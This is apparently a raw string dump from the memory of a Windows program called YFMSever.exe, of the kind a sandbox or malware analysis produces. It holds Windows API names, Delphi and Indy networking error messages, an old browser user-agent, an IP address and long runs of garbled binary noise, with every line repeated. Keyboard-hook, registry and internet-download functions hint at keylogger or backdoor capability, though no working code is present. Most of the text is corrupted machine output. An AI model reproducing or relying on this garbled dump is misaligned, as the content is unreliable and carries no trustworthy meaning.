I.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/RA.RA.R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1SA0SA0SA0SA0SA0SA0SA0SA0R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/P@/P@/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/QB/QB/QB/QB/QB/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.PA.RA.RA.RA.RA.RA.RA.RA.RA.RA.PA.PA.PA.

=5(;4%=5(=4'

=5(;4%=5(=4'

;2(:1':1'

;2(:1':1'

KWindows

KWindows

eEWB.IEConst

eEWB.IEConst

0IdHTTPHeaderInfo

0IdHTTPHeaderInfo

IdTCPServer

IdTCPServer

IdTCPStream

IdTCPStream

Font.Charset

Font.Charset

Font.Color

Font.Color

Font.Height

Font.Height

Font.Name

Font.Name

Font.Style

Font.Style

PrintOptions.HTMLHeader.Strings

PrintOptions.HTMLHeader.Strings

PrintOptions.Orientation

PrintOptions.Orientation

ProxyParams.BasicAuthentication

ProxyParams.BasicAuthentication

ProxyParams.ProxyPort

ProxyParams.ProxyPort

Request.ContentLength

Request.ContentLength

Request.ContentRangeEnd

Request.ContentRangeEnd

Request.ContentRangeStart

Request.ContentRangeStart

Request.ContentType

Request.ContentType

Request.Accept

Request.Accept

Request.BasicAuthentication

Request.BasicAuthentication

Request.UserAgent

Request.UserAgent

7Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

7Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

HTTPOptions

HTTPOptions

GetCPInfo

GetCPInfo

XTP8h%C

XTP8h%C

3F%u`r

3F%u`r

The procedure entry point %s could not be located in the dynamic link library %s

The procedure entry point %s could not be located in the dynamic link library %s

GetKeyNameTextA

GetKeyNameTextA

GetKeyState

GetKeyState

SHFileOperationA

SHFileOperationA

UnhookWindowsHookEx

UnhookWindowsHookEx

G({.NJ:

G({.NJ:

shell32.dll

shell32.dll

Dadvapi32.dll

Dadvapi32.dll

CreateIoCompletionPort

CreateIoCompletionPort

EnumWindows

EnumWindows

RegCreateKeyExA

RegCreateKeyExA

wininet.dll

wininet.dll

gdi32.dll

gdi32.dll

RegEnumKeyExA

RegEnumKeyExA

@8\3@(&@

@8\3@(&@

m.KS!?IZ

m.KS!?IZ

.IjS0Z

.IjS0Z

4.Yz8

4.Yz8

N.Px

N.Px

%F

%F

}H.wN

}H.wN

?.MLW

?.MLW

ShellExecuteA

ShellExecuteA

SetViewportOrgEx

SetViewportOrgEx

GetKeyboardState

GetKeyboardState

LoadKeyboardLayoutA

LoadKeyboardLayoutA

GetWindowsDirectoryA

GetWindowsDirectoryA

version.dll

version.dll

RegDeleteKeyA

RegDeleteKeyA

SetWindowsHookExA

SetWindowsHookExA

RegCloseKey

RegCloseKey

|N.Uip

|N.Uip

GetKeyboardType

GetKeyboardType

.HX2'4

.HX2'4

J['%Y%c%]"

J['%Y%c%]"

.Jz\

.Jz\

RP.Ji|

RP.Ji|

.VGZZQ?XD 9

.VGZZQ?XD 9

bk.Zi7

bk.Zi7

6O.PJF>B&

6O.PJF>B&

.NV'Pg

.NV'Pg

E.PO*J

E.PO*J

b?.RjB

b?.RjB

).RJ$7

).RJ$7

\.dfXX

\.dfXX

HCtl.Lj

HCtl.Lj

.VN&5

.VN&5

SRF98.XORO

SRF98.XORO

<.cd:>

<.cd:>

~z%D&

~z%D&

jWyfTP

jWyfTP

)N.QuHG`

)N.QuHG`

vXp.aGB

vXp.aGB

.goU[

.goU[

dS.IZf\6V

dS.IZf\6V

j.QU@'

j.QU@'

C.XV$

C.XV$

tCP z

tCP z

=H.Dt[

=H.Dt[

B3uDpZ

B3uDpZ

.Pv

.Pv

.XD%O86

.XD%O86

*?9[_'^-.

*?9[_'^-.

U^.bfD

U^.bfD

Vj.eJd

Vj.eJd

&6%X"

&6%X"

%f z'W

%f z'W

T.cBe

T.cBe

@Z.CB

@Z.CB

j.YW MYd

j.YW MYd

9.Dy7

9.Dy7

5J{"WD%S#^

5J{"WD%S#^

.ja*3

.ja*3

$.GE(X

$.GE(X

"7b%D

"7b%D

\ @%X

\ @%X

..Ld?/o|S[

..Ld?/o|S[

X.TJH

X.TJH

ôpQ

ôpQ

)%x5a

)%x5a

~M%x8u*

~M%x8u*

L.HJ7?

L.HJ7?

.ALh&

.ALh&

.DPs_

.DPs_

_.PPw

_.PPw

z'.ANC

z'.ANC

nX.oF

nX.oF

L.JOS

L.JOS

..JG^

..JG^

B.XG6

B.XG6

".LGR

".LGR

G.Xfg

G.Xfg

..VG8

..VG8

.LG>S

.LG>S

D..GD

D..GD

F.DOP

F.DOP

.ZO"R

.ZO"R

.BO2R

.BO2R

^z.PG

^z.PG

5.TO RoZR

5.TO RoZR

F.PdYXn

F.PdYXn

%fT@sd

%fT@sd

.PdYX/

.PdYX/

%fV@sd

%fV@sd

=%X,7

=%X,7

FÝE

FÝE

[.FGD

[.FGD

X.VO/

X.VO/

.JXZp

.JXZp

Q0.EL

Q0.EL

.DO@U

.DO@U

3

3

.LF;F

.LF;F

.JGHU

.JGHU

.ZO4XxS

.ZO4XxS

.uVX?

.uVX?

>.GB

>.GB

.GPF?J

.GPF?J

<.mg>

<.mg>

InternetOpenUrlA

InternetOpenUrlA

*o.eIv

*o.eIv

EnumThreadWindows

EnumThreadWindows

user32.dll

user32.dll

RegQueryInfoKeyA

RegQueryInfoKeyA

ActivateKeyboardLayout

ActivateKeyboardLayout

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

RegFlushKey

RegFlushKey

GetKeyboardLayoutList

GetKeyboardLayoutList

The ordinal %u could not be located in the dynamic link library %s

The ordinal %u could not be located in the dynamic link library %s

DeleteUrlCacheEntry

DeleteUrlCacheEntry

iphlpapi.dll

iphlpapi.dll

GetKeyboardLayout

GetKeyboardLayout

RegOpenKeyExA

RegOpenKeyExA

MapVirtualKeyA

MapVirtualKeyA

errorUrl

errorUrl

20.20.20.20

20.20.20.20

JPEG error #%d

JPEG error #%d

Error creating SSL context. Could not load root certificate.

Error creating SSL context. Could not load root certificate.

Could not load certificate.#Could not load key, check password.

Could not load certificate.#Could not load key, check password.

SSL status: "%s"

SSL status: "%s"

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Command not supported.

Command not supported.

Address type not supported.$Error accepting connection with SSL.

Address type not supported.$Error accepting connection with SSL.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Operation now in progress.

Operation now in progress.

Operation already in progress.

Operation already in progress.

Socket operation on non-socket.

Socket operation on non-socket.

Protocol not supported.

Protocol not supported.

Socket type not supported."Operation not supported on socket.

Socket type not supported."Operation not supported on socket.

Protocol family not supported.0Address family not supported by protocol family.

Protocol family not supported.0Address family not supported by protocol family.

Chunk StartedDThis authentication method is already registered with class name %s.

Chunk StartedDThis authentication method is already registered with class name %s.

%s is not a valid service.

%s is not a valid service.

Socket Error # %d

Socket Error # %d

%s is not a valid IP address.

%s is not a valid IP address.

Operation would block.

Operation would block.

File "%s" not found1Only one TIdAntiFreeze can exist per application."%d: Circular links are not allowed

File "%s" not found1Only one TIdAntiFreeze can exist per application."%d: Circular links are not allowed

No data to read.$Can not bind in port range (%d - %d)

No data to read.$Can not bind in port range (%d - %d)

Invalid Port Range (%d - %d)

Invalid Port Range (%d - %d)

Max line length exceeded.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)

Max line length exceeded.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)

Resolving hostname %s.

Resolving hostname %s.

Connecting to %s.

Connecting to %s.

.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.4Failed attempting to retrieve time zone information.

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.4Failed attempting to retrieve time zone information.

No help keyword specified.

No help keyword specified.

Alt Clipboard does not support Icons

Alt Clipboard does not support Icons

Cannot open clipboard/Menu '%s' is already being used by another form

Cannot open clipboard/Menu '%s' is already being used by another form

No help found for %s#No context-sensitive help installed$No topic-based help system installed

No help found for %s#No context-sensitive help installed$No topic-based help system installed

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Property %s does not exist

Thread creation error: %s

Thread creation error: %s

Thread Error: %s (%d)

Thread Error: %s (%d)

Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic

Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic

Unsupported clipboard format

Unsupported clipboard format

$''%s'' is not a valid component name

$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Error reading %s%s%s: %s

Failed to create key %s

Failed to create key %s

Failed to get data for '%s'

Failed to get data for '%s'

Failed to set data for '%s'

Failed to set data for '%s'

Resource %s not found

Resource %s not found

Ancestor for '%s' not found

Ancestor for '%s' not found

Cannot assign a %s to a %s

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot create file "%s". %s

Cannot open file "%s". %s

Cannot open file "%s". %s

Unable to write to %s

Unable to write to %s

Operation not supported

Operation not supported

External exception %x

External exception %x

Interface not supported

Interface not supported

%s (%s, line %d)

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

System Error. Code: %d.

1Format '%s' invalid or incompatible with argument

1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

No argument for format '%s'"Variant method calls not supported

Invalid variant operation%Invalid variant operation (%s%.8x)

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Integer overflow Invalid floating point operation

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Privileged instruction(Exception %s in module %s at %p.

!'%s' is not a valid integer value('%s' is not a valid floating point value

!'%s' is not a valid integer value('%s' is not a valid floating point value

'%s' is not a valid date

'%s' is not a valid date

'%s' is not a valid time!'%s' is not a valid date and time

'%s' is not a valid time!'%s' is not a valid date and time

I/O error %d

I/O error %d

YFMSever.exe_3420_rwx_00565000_00001000:

GetCPInfo

GetCPInfo

YFMSever.exe_3420_rwx_00578000_00002000:

kernel32.dll

kernel32.dll

GetKeyState

GetKeyState

SHFileOperationA

SHFileOperationA

UnhookWindowsHookEx

UnhookWindowsHookEx

YFMSever.exe_3420_rwx_0057B000_00001000:

Dadvapi32.dll

Dadvapi32.dll

CreateIoCompletionPort

CreateIoCompletionPort

EnumWindows

EnumWindows

RegCreateKeyExA

RegCreateKeyExA

wininet.dll

wininet.dll